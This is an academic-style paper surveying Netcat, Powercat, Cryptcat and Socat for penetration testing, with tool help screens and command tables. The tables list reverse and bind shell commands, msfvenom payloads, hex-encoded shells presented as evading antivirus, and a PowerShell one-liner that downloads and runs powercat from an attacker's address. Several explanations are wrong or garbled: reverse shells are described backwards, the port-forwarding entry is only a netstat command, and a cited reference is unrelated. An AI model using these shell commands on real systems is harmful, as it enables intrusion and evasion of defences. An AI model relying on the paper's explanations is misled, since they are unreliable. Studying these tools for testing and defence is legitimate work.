JETIR.ORG ISSN: 2349-5162 | ESTD Year : 2014 | Monthly Issue

JOURNAL OF EMERGING TECHNOLOGIES AND INNOVATIVE RESEARCH (JETIR)

An International Scholarly Open Access, Peer-reviewed, Refereed Journal

Network Utility Tools Best Practices

[1]Megha Saroeval, [2]Shalini Bhadola

MTech Student, HOD department of Computer Science MTech
Maharishi Dayanand University, Rohtak

Abstract: In this section, we will talk about versatile network utility tools that are commonly used in penetration testing. This article provides a thorough look at the scripts and tools that are more secure, sophisticated, multithreaded, and have constructed an encrypted channel from source to destination. It is commonly utilized in red team assessments and is becoming increasingly common in significant cyber security certification courses. For simplicity of usage, basic hands-on practice is required.

For a secure environment in every organization, network penetration testing must be conducted during a cyclic period. It helps to prevent external cyber-attacks.

Keywords: Network Utility tools, Netcat, Powercat, Cryptcat and Socat

I. INTRODUCTION

Any operation meant to safeguard the usability and integrity of your network and data is referred to as network security. It is a hybrid of hardware and software technologies. Effective network security controls network access. It detects and prevents a wide range of threats from entering or propagating on your network.

Network utilities are simple software tools that are used to analyze and configure many elements of computer networks. They often concentrate on one aspect of the network connection or one type of device. The majority of network utilities were created for Unix computer systems; however, they are now available for use on all operating systems. Network utility aid in the maintenance of your network by allowing you to examine many parts of your network, such as device connections and packet delivery.

The Transmission Control Protocol (TCP) and User Datagram Protocol (UDP) serve as the foundation for computer networks, including the World Wide Web (www). Companies must be proactive when it comes to cybersecurity in today's rapidly world of technology and more sophisticated networks. This entails employing professionals who understand what hazards to look for and how to counter them. Otherwise, a single incidence of a cyberattack, such as ransomware, might cause long-term damage to the firm. Combining Varonis products with tools like Netcat will assist to keep your network infrastructure safe.

To ensure your data is protected, If you're a business, your data might include marketing materials, financial information, and anything else that makes your company unique. Individuals have financial data and personal information that they do not want others to have access to. By using proper network practices, network security ensures that your data remains private. These technologies will assist organizations in safeguarding their assets and data.

Better network security not only keeps your network security but also makes it function more efficiently. The important thing is to have a solid system that isn't bogged down by unnecessary tools and programmers. Ransomware assaults are quite prevalent. For many, they are the most heinous type of attack. They are a sort of malware that threatens to release or prevent access to your data unless a ransom is paid. They might harm a single person or an entire country. Darkside successfully hacked the Colonial Pipeline in the United States. The gang was paid millions of dollars in cryptocurrencies to reopen the pipeline. This is only a single example.

Attacks on critical infrastructure, like the Colonial Pipeline, are now becoming increasingly common. Organizations, particularly large ones with money to pay ransoms, must invest in improved security today. There are several reasons why cyberattacks are on the rise. One example is the spread of the 5G network. As the network grows in size, so do its flaws. It is not enough to embrace something new and exciting like 5G; new security is also required. Improving technology, such as machine learning and artificial intelligence, is also beneficial to hackers. They no longer have to hack systems manually; instead, they may put up systems that do it for them.

II. NETWORK UTILITY TOOLS

As per our understanding, these are the most common network utility tools used by security researchers, red teamers, hackers, and cyber security experts.

Tool Name	Features
Netcat	Perform port scanning Chatting Banner Grabbing Used for file transferring Helping in reverse shell for Windows and Linux both Http banner Grabbing Used with MSFvenom
Powercat	Perform port scanning Used for file transferring Bind and reverse shell Standalone and Encoded shell Tunnelling Used as one-liner for getting shell
CryptCat	provide verbose mode Shell is password protected Random port connections Timeout and Delay interval
Socat	Perform port forwarding Used for file transferring Bind and reverse shell Provides encrypted bind and reverse

These tools commonly used network penetration testing,

a) Netcat

Netcat is a basic Unix utility that uses the TCP or UDP protocols to read and write data over network connections. It's intended to be a dependable "back-end" tool that may be driven directly or indirectly by other programmers and scripts. At the same time, it's a powerful network debugging and investigation tool, since it can build practically any type of connection and has several useful built-in features. Netcat, or "NC" as the software is known, should have been included as one of those cryptic but ubiquitous Unix programmers long ago.

Hobbit is the author of Netcat which was originally developed by Avian Research. It was first released on October 28, 1995 (26 years ago today). The last stable version 1.10 was released about 15 years ago, on January 2, 2007. It's compatible with Unix and Unix-like operating systems, DOS, OS developed by Microsoft, and Windows CE.
Original License by GNU General Public License, permissive version GPL OpenBSD version BSD is the version number.

The official website is **https://nc110.sourceforge.io**.

```
┌──(root㉿kali)-[~]
└─# nc -h
[v1.10-47]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
        -c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]
        -e filename             program to exec after connect [dangerous!!]
        -b                      allow broadcasts
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, ...
        -h                      this cruft
        -i secs                 delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
        -l                      listen mode, for inbound connects
        -n                      numeric-only IP addresses, no DNS
        -o file                 hex dump of traffic
        -p port                 local port number
        -r                      randomize local and remote ports
        -q secs                 quit after EOF on stdin and delay of secs
        -s addr                 local source address
        -T tos                  set Type Of Service
        -t                      answer TELNET negotiation
        -u                      UDP mode
        -v                      verbose [use twice to be more verbose]
        -w secs                 timeout for connects and final net reads
        -C                      Send CRLF as line-ending
        -z                      zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
```

b) Powercat

It's a powerful version of Netcat with some great additional features which is supported by the latest version of OS. It simply reads and writes data with TCP/UDP ports to open an entire network. Also performs the reverse shell connection. Its efficacy is accustomed perform low-level network communication operations. Powercat is providing the functionality to scan for open ports. it's able to try this by trying a TCP connection to the ports defined. Powercat is a multipurpose package similar to netcat that is developed in PowerShell and has several additional capabilities such as the ability to deliver data across TCP, UDP, and DNS, network relays, and payload development.

Powercat has been reported to run undetected by traditional anti-virus software. The utility's installation size is 68 KB. The tool's portability and platform independence make it an indispensable arrow in the quiver of every red teamer. Download from here **https://github.com/besimorhino/powercat**.

```
┌──(root㉿kali)-[~]
└─# powercat -h

powercat - Netcat, The Powershell Version
Github Repository: https://github.com/besimorhino/powercat

This script attempts to implement the features of netcat in a powershell
script. It also contains extra features such as built-in relays, execute
powershell, and a dnscat2 client.

Usage: powercat [-c or -l] [-p port] [options]

  -c  <ip>          Client Mode. Provide the IP of the system you wish to connect to.
                    If you are using -dns, specify the DNS Server to send queries to.

  -l                Listen Mode. Start a listener on the port specified by -p.

  -p  <port>        Port. The port to connect to, or the port to listen on.

  -e  <proc>        Execute. Specify the name of the process to start.

  -ep               Execute Powershell. Start a pseudo powershell session. You can
                    declare variables and execute commands, but if you try to enter
                    another shell (nslookup, netsh, cmd, etc.) the shell will hang.

  -r  <str>         Relay. Used for relaying network traffic between two nodes.
                    Client Relay Format:   -r <protocol>:<ip addr>:<port>
                    Listener Relay Format: -r <protocol>:<port>
                    DNSCat2 Relay Format:  -r dns:<dns server>:<dns port>:<domain>

  -u                UDP Mode. Send traffic over UDP. Because it's UDP, the client
                    must send data before the server can respond.

  -dns  <domain>    DNS Mode. Send traffic over the dnscat2 dns covert channel.
                    Specify the dns server to -c, the dns port to -p, and specify the
                    domain to this option, -dns. This is only a client.
                    Get the server here: https://github.com/iagox86/dnscat2
```

c) Cryptcat

Cryptcat is a Twofish-encrypted version of the conventional Netcat, including ports for Windows NT, BSD, and Linux. Counterpane and cryptic are responsible for Twofish.

Twofish encryption added to the TCP/IP Swiss army knife - Cryptcat is a basic Unix tool that reads and writes data over network connections while encrypting the data. It uses the TCP or UDP connection. It's intended to be a dependable "back-end" tool that may be driven directly or indirectly by other programmers and scripts. At the same time, it's a powerful network debugging and investigation tool, since it can build practically any type of connection and has several useful built-in features.

The official website is **http://cryptcat.sourceforge.net/.**

```
┌──(root㉿kali)-[~]
└─# cryptcat -h
[v1.10]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, ...
        -h                      this cruft
        -i secs                 delay interval for lines sent, ports scanned
        -l                      listen mode, for inbound connects
        -n                      numeric-only IP addresses, no DNS
        -o file                 hex dump of traffic
        -p port                 local port number
        -r                      randomize local and remote ports
        -s addr                 local source address
        -u                      UDP mode
        -v                      verbose [use twice to be more verbose]
        -w secs                 timeout for connects and final net reads
        -z                      zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]
```

d) Socat

Socat is called SOcket CAT. The socat utility joins two distinct data channels through a bidirectional data relay. Socat is a command-line utility for creating and transmitting data over two bidirectional byte streams. Socat may be used for a variety of applications since flows can be formed from a variety of data sinks and sources (see address types) and address parameters can be added to the streams. When compared to technologies like Netcat, Socat has a steep learning curve.

Socat has a severe learning curve when compared to tools like Netcat. While I still use Netcat and pals daily (due to memorization), socat is the Swiss Army Knife of network debugging tools.

The official website is **http://www.dest-unreach.org/socat/.**

```
┌──(root㉿kali)-[~]
└─# socat -h
socat by Gerhard Rieger and contributors - see www.dest-unreach.org
Usage:
socat [options] <bi-address> <bi-address>
   options:
      -V     print version and feature information to stdout, and exit
      -h|-?  print a help text describing command line options and addresses
      -hh    like -h, plus a list of all common address option names
      -hhh   like -hh, plus a list of all available address option names
      -d[ddd]         increase verbosity (use up to 4 times; 2 are recommended)
      -D     analyze file descriptors before loop
      -ly[facility]  log to syslog, using facility (default is daemon)
      -lf<logfile>   log to file
      -ls            log to stderr (default if no other log)
      -lm[facility]  mixed log mode (stderr during initialization, then syslog)
      -lp<progname>  set the program name used for logging
      -lu            use microseconds for logging timestamps
      -lh            add hostname to log messages
      -v     verbose text dump of data traffic
      -x     verbose hexadecimal dump of data traffic
      -r <file>      raw dump of data flowing from left to right
      -R <file>      raw dump of data flowing from right to left
      -b<size_t>     set data buffer size (8192)
      -s     sloppy (continue on error)
      -t<timeout>    wait seconds before closing second channel
      -T<timeout>    total inactivity timeout in seconds
      -u     unidirectional mode (left to right)
      -U     unidirectional mode (right to left)
```

III. DISCUSSION

Research Question?

1. What is the most often used network utility tool?
2. What is the most effective tool for obtaining a reverse shell?
3. What is the primary distinction between Netcat, Powercat, Cryptcat and Socat? What are the precise requirements for using these tools?

Our findings:

a) Netcat

It enables the user to connect to and communicate with a remote port, as well as construct a listener to accept remote connections. Netcat may be used as a port scanner to find open ports as well as fingerprint the services and applications available by having control over the outgoing TCP or UDP connections.

- TCP or UDP connections to or from any port, outbound or inbound.
- Complete DNS forward/reverse check, with appropriate warnings.
- It is possible to use any local source port.
- The capability to use any network source address that has been locally set.
- Made port-scanning functionality with randomization and source-routing flexibility.
- Standard input can be used to read command line parameters.
- In slow-send mode, one line is sent every N seconds.
- Hex dump of data sent and received.
- The ability to allow another software service to make connections is optional.
- Responder for optional telnet options.

Port Scanning	TCP: nc -v -n -z ‘IP address’ ‘Port no.’ UDP: nc -vzu ‘IP address’ ‘Port no.’
Chatting	nc -lvp ‘Port no.’ nc ‘IP address’ ‘Port no.’
Banner Grabbing	nc ‘IP address’ ‘Port no.’
File Transfer	nc -lvp ‘Port no.’ < ‘File Name. filetype’ nc ‘IP address’ ‘Port no.’ > ‘File Name. filetype’
Linux Reverse Shell	msfvenom -p cmd/unix/reverse_netcat lhost=‘IP address’ lport=‘Port no.’ R Victim: nc -lvp ‘Port no.’
Random port	nc -lv -r
HTTP Banner Grabbing	printf "GET / HTTP/1.0\r\n\r\n" | nc ‘IP address’ ‘Port no.’
Windows reverse connection	nc -lvp ‘Port no.’ nc.exe ‘IP address’ ‘Port no.’ -e cmd.exe
Msfvenom netcat payload	msfvenom -p windows/shell_reverse_tcp lhost=‘IP address’ lport=‘Port no.’ –f exe > shell.exe nc -lvp ‘Port no.’

b) Powercat

Powercat adds Netcat's capabilities and power to all recent versions of Microsoft Windows. This is accomplished by utilizing native PowerShell components. This enables simple deployment and usage, with little risk of being detected by typical anti-virus solutions. Furthermore, the most recent versions of Powercat feature additional functionality that goes much beyond what is seen in typical Netcat implementations.

- As we know, it's a PowerShell version of Netcat most compatible with Windows Environment.
- It has all same features like Netcat and some additional functionality.
- One additional feature is provided bind shell,
    - **Bind Shell:** It operates the listener on the victim, and the attacker listens to it to get remote access to the victim system. Bind shell involves the attacker discovering an open port on the server/target system and attempting to bind his login to that port.

- **Reverse Shell:** The attacker runs the listener on the victim system, and the victim connects to the attacker using a shell. As a result, the attacker has access to the victim's system. The attacker connects his port in the reverse shell. So that the victim may connect to that port and establish a strong link.

- It creates a stand-alone shell. The stand-alone shell (sash) is a Unix shell that is used to recover from specific sorts of system problems.
- Powercat offers a useful capability for evading standard security devices such as Anti-Virus solutions: it can encode commands to Hexadecimal String.
- Tunneling is the most appropriate mechanism for remaining undetected while performing red team operations or even in real-life settings. Next time we do a red team assessment, we can use Powershell and Powercat to assist us tunnel and hiding our identity.
- We can utilize Powercat's one-liner to acquire a reverse shell on the victim's device's listener. Mostly used to get the reverse shell of the Windows machine.

Port Scanning	(‘Port no.’) | % {powercat -c ‘IP address’ -p $_ -t 1 -Verbose -d}
File Transfer	nc -lnvp ‘Port no.’ > ‘Filename.filetype’ powercat -c ‘IP address’ -p ‘Port no.’ -i ‘Filename.filetype’
Bind Shell	Powercat to necat: powercat -l -p ‘Port no.’ -e cmd nc ‘IP address’ ‘Port no.’ Powercat to powercat: powercat -l -p ‘Port no.’ -e cmd -v powercat -c ‘IP address’ -p ‘Port no.’ -v
Reverse Shell	Powercat to necat: nc -lvnp ‘Port no.’ powercat -c ‘IP address’ -p ‘Port no.’ -e cmd.exe Powercat to powercat: powercat -l -p ‘Port no.’ -v powercat -c ‘IP address’ -p ‘Port no.’ -e cmd -v
Standalone Shell	powercat -c ‘IP address’ -p ‘Port no.’ -e cmd.exe -g > shell.ps1 .\shell.ps1 nc -lnvp ‘Port no.’
Encoded Shell	powercat -c ‘IP address’ -p ‘Port no.’ -e cmd.exe -ge > encodedshell.ps1 powershell -E <string> nc -lnvp ‘Port no.’
Tunnelling	powercat -l -p ‘Port no.’ -r tcp:‘IP address’:‘Port no.’ -v
One Liner	powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://‘IP address’/powercat.ps1');powercat -c ‘IP address’ -p ‘Port no.’ -e cmd"

c) Cryptcat

It is a more sophisticated version of Netcat. It enables two-way encryption, which makes our connection more secure. By comparing these two incredible solutions based on network encryption of the chatting function using Wireshark to intercept their TCP connection.

- Cryptcat is a Netcat variation that is virtually similar to the original; in fact, the help screens are almost identical.
- The main changes in terms of options are that cryptcat does not support the –t or –q parameters. The –t option instructs Netcat to utilize Telnet negotiation, thereby turning it into a Telnet client, while the –q option acts as a stdin timeout.
- The inbuilt capability of encryption is a new feature, "crypt" means encryption. The password will then be used as the key by Cryptcat to encrypt the stream of data using Twofish encrypted communications, which is a block cipher with symmetric keys.

Chatting	cryptcat -l -p ‘Port no.’ cryptcat ‘IP address’ ‘Port no.’
Verbose mode	cryptcat -lvp ‘Port no.’ cryptcat -v ‘IP address’ ‘Port no.’
Password Protected	cryptcat -k 'password' -lvp ‘Port no.’ cryptcat -v -k 'password' ‘IP address’ ‘Port no.’
Reverse shell	cryptcat -k 'password' -l -p ‘Port no.’ 0<myfifo | /bin/bash 1>myfifo cryptcat -k 'password' ‘IP address’ ‘Port no.’
Random port	cryptcat -lv -r

Intervals of timeout and delay	cryptcat -v -w 30 -i 10 -l -p 'Port no.' cryptcat -v -w 2 'IP address' 'Port no.'

d) Socat

As previously stated, it is a relay that may be utilized in both directions. Socat offers capabilities such as multiple connections, secure channel creation, and support for other protocols such as OpenSSL, SCTP, Socket, Tunnel, and so on.

- Socat is used as a TCP port forwarder, an external socksifier, an IP6 retransmit, a shell interaction to UNIX sockets, a serial line redirector, or to logically connect serial lines on different computers.
- It's created a secure surrounding for operating client or server shell scripts with internet connections.
- It supports protocols such as OpenSSL, SCTP, Socket, Tunnel, and so on.
- It's created an encrypted reverse and bind shell on OpenSSL to overcome the lack of unencrypted shells for a more secure connection between the attacking machine to the victim machine.

Bind Shell	socat -d -d TCP4-LISTEN:'Port no.' EXEC:/bin/bash socat - TCP4:'IP address':'Port no.'
Encrypted bind shell	openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 300 -out bind_shell.crt cat bind_shell.key bind_shell.crt > bind_shell.pem socat -OPENSSL-LISTEN:'Port no.',cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash socat – OPENSSL:'IP address':'Port no.',verify=0
Reverse Shell	socat -d -d TCP4-LISTEN:'Port no.' STDOUT socat TCP4:'IP address':'Port no.' EXEC:/bin/bash
Encrypted reverse shell	openssl req -newkey rsa:2048 -nodes -keyout encrypt.key -x509 -days 1000 -subj '/CN=www.encrypt.lab/O=encrypt Tech./C=IN' -out encrypt.crt cat encrypt.key encrypt.crt > encrypt.pem socat -d -d OPENSSL-LISTEN:443,cert=encrypt.pem,verify=0,fork STDOUT socat – OPENSSL:'IP address':'Port no.',verify=0 EXEC:/bin/bash
Port forwarding	netstat -antp
File Transfer	socat TCP4-LISTEN:'Port no.',fork file:'filename.txt' socat TCP4:'IP address':'Port no.' file:demo.txt, create

IV. Future Scope

Being hacked on your network might put you out of business. Vandalism is possible. This usually entails inserting false information into the system. It is one of the numerous methods employed by hackers. Your company's integrity may be brought into question if misinformation is planted, and clients may be deceived.

One of the consequences of poor network security mechanisms is the destruction of intellectual property. Hacking allows unlawful access to a company's or an individual's data. For example, consider the Citibank Security Breach, which affected around 1% of its clients in the United States. If a hacker is able to access the system and captures plans, ideas, or blueprints, the firm may be unable to adopt new designs and products. This might either ruin the firm or keep it stagnant.

Revenue loss is also possible for the firm. The majority of network assaults may cause a network to fail. Extended network unavailability might result in revenue loss since the organization may be forced to halt all transactions. The longer the network is out of commission, the more money is lost. Apart from the obvious income loss, the company's reputation may suffer from a lack of credibility. To avoid these sorts of corporate losses, robust network best practices are essential. Security researchers and cyber security specialists can assist in resolving this issue.

V. Conclusion

Netcat is a widely used and hands-on practice tool, the users are not comfortable leaving netcat by switching to another. While in some requirements they are using the other tools as well. Powercat is widely utilized in red team examinations and is increasingly being included in important cyber security certification courses. Security researchers are using cryptcat if they needed a secure encrypted channel for communication with passwords. So that any third person can't intercept the network communication. Socat has been one of the tools that, in my perspective, most penetration testers have heard of, but it seems that they avoid using it as a daily commuter because they are not comfortable quitting Netcat.

- Netcat is the most often used utility. NC is a comfort to use.
- Powercat is more powerful and has some advanced features such as an encrypted shell.
- Crypcat is similar to netcat in that it offers a password-protected shell.

- Socat employed an encrypted shell with a bidirectional data stream through OpenSSL.

VI. Acknowledgment

My academics contributed to the study article by providing guidance, attention, time, and assistance. They are the breeze beneath my wings. I give thanks to God for making everything possible. I've gone too far with self-effacement and gratitude to thank everyone who has helped me.

I would like to thank Ms. Shalini Bhadola (HOD, CSE Deptt, Sat Kabir Institute of Technology and Management) for her assistance in completing these papers. Her technical expertise, suggestions, and constructive criticism all contributed to the report's success. She gave me numerous suggestions and solved my difficulties when I needed them. Her passion and assistance inspire me much. Those assist me in getting various information, collecting statistics, and leading.

Thank you so much.

References

[1] https://en.wikipedia.org/wiki/Netcat
[2] https://github.com/besimorhino/powercat
[3] https://www.hackingarticles.in/
[4] https://www.riskbasedsecurity.com/
[5] NetCAT: Practical Cache Attacks from the Network Michael Kurth∗§, Ben Gras∗, Dennis Andriesse∗, Cristiano Giuffrida
[6] Practical Cache Attacks from the Network, Michael KurthBen, GrasDennis Andriesse
[7] Network Monitoring and Enumerating Vulnerabilities in Large Heterogeneous Networks - Publisher: IEEE
[8] Transferring Files Using Netcat, In Netcat Power Tools, 2008, Cryptcat
[9] https://www.kali.org/blog/